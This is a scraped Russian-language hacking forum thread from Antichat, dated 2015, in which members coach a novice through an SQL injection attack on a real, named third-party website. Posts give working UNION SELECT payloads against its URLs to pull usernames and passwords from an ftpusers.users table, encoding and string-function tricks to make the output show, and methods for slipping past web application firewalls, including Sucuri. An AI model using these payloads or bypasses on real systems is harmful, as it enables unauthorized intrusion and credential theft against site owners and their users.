ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
09.03.2015, 16:03
|
|
Участник форума
Регистрация: 10.01.2008
Сообщений: 199
Провел на форуме:
961428
Репутация:
662
|
|
Сообщение от BigBear
BigBear said:
Дружище, что ты куришь?
Как ??? Как ты ищешь такие сайты ???
Это какой-то dork ??
Такие сайты попадаются на typo3... что поделать-то(
|
|
|
10.03.2015, 00:21
|
|
Guest
Сообщений: n/a
Провел на форуме:
26437
Репутация:
-2
|
|
Здраствуйте. Помогите разобратся. Нашел скулю и все хорошо, нашел таблицу user, нашел в ней столбцы User, Password. Хочу вывести но когда сталю
id=-561'+union+select+1,User,Password,4,5,6,7+FROM+use r+--+
ничего не выводить. Помогите, как зделать?
|
|
|
|
10.03.2015, 00:23
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме:
3363660
Репутация:
1148
|
|
Сообщение от teh
teh said:
Здраствуйте. Помогите разобратся. Нашел скулю и все хорошо, нашел таблицу user, нашел в ней столбцы User, Password. Хочу вывести но когда сталю
id=-561'+union+select+1,User,Password,4,5,6,7+FROM+use r+--+
ничего не выводить. Помогите, как зделать?
захексить или зачарить, или добавить лимит, или заюзать что-то типа:
INSERT(insert(table_schema,1,0,0x3a3a3a),1,0,tAble _Name)
MAKE_SET(1|2,@@version,USER())
EXPORT_SET(1,user(),version(),',',2)
LPAD('Chat','8','Anti')
или обойти WAF,например, если
403: Access Forbidden
Обходится элементарно с помощью "(" и ")", /**/, %0А, %0d, %09, %20 и т.д., или
Sucuri WebSite Firewall - CloudProxy - Access Denied
Обходится так: union/*123*/select
и т.д.
Короче, вобщем смотря по ситуации что там.
|
|
|
|
10.03.2015, 01:07
|
|
Guest
Сообщений: n/a
Провел на форуме:
12164
Репутация:
1
|
|
или поля пустые
|
|
|
|
10.03.2015, 10:17
|
|
Новичок
Регистрация: 08.04.2010
Сообщений: 1
Провел на форуме:
70640
Репутация:
0
|
|
Сообщение от teh
teh said:
Здраствуйте. Помогите разобратся. Нашел скулю и все хорошо, нашел таблицу user, нашел в ней столбцы User, Password. Хочу вывести но когда сталю
id=-561'+union+select+1,User,Password,4,5,6,7+FROM+use r+--+
ничего не выводить. Помогите, как зделать?
Может быть кодировка.
concat_ws(0x3a,convert(user%20using%20utf8),conver t(password%20using%20utf8))
|
|
|
|
10.03.2015, 16:06
|
|
Guest
Сообщений: n/a
Провел на форуме:
26437
Репутация:
-2
|
|
Вот скуля
www.volgufps.ru/pochtamt5.php?pocht=-1+union+select+1,2,url,4,5,6,7+from+news--
ничего не выводит, что тут делать?
|
|
|
|
10.03.2015, 16:15
|
|
Новичок
Регистрация: 08.04.2010
Сообщений: 1
Провел на форуме:
70640
Репутация:
0
|
|
Сообщение от teh
teh said:
Вот скуля
www.volgufps.ru/pochtamt5.php?pocht=-1+union+select+1,2,url,4,5,6,7+from+news--
ничего не выводит, что тут делать?
Дело в том, что надо указывать бд
http://www.volgufps.ru/pochtamt5.php?pocht=-1+union+select+1,2,url,4,5,6,7+from+konkurs.news--
http://www.volgufps.ru/pochtamt5.php?pocht=-1+union+select+1,User,Password,4,5,6,7+from+ftpuse rs.users--
а вообще
root
mq off
|
|
|
|
10.03.2015, 17:11
|
|
Guest
Сообщений: n/a
Провел на форуме:
26437
Репутация:
-2
|
|
узнал бд. называется ufps. и подставляю, получается
http://www.volgufps.ru/pochtamt5.php?pocht=-1+union+select+1,User,Password,4,5,6,7+from+ufps.u sers--
все равно ошибка, пожалуйста подскажите, что такое?
|
|
|
|
10.03.2015, 17:49
|
|
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме:
1066435
Репутация:
1013
|
|
Сообщение от teh
teh said:
узнал бд. называется ufps. и подставляю, получается
http://www.volgufps.ru/pochtamt5.php?pocht=-1+union+select+1,User,Password,4,5,6,7+from+ufps.u sers--
все равно ошибка, пожалуйста подскажите, что такое?
ufps это current_table. а тебе нужна база, в которой лежит таблица users. а лежит она в базе ftpusers
Код:
Code:
from ftpusers.users
|
|
|
|
10.03.2015, 19:32
|
|
Guest
Сообщений: n/a
Провел на форуме:
26437
Репутация:
-2
|
|
Сообщение от faza02
faza02 said:
ufps это current_table. а тебе нужна база, в которой лежит таблица users. а лежит она в базе ftpusers
Код:
Code:
from ftpusers.users
А как вы узнали что таблица лежить в базе ftpusers. Никак немогу понять, можете рассказать пожалуйста
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
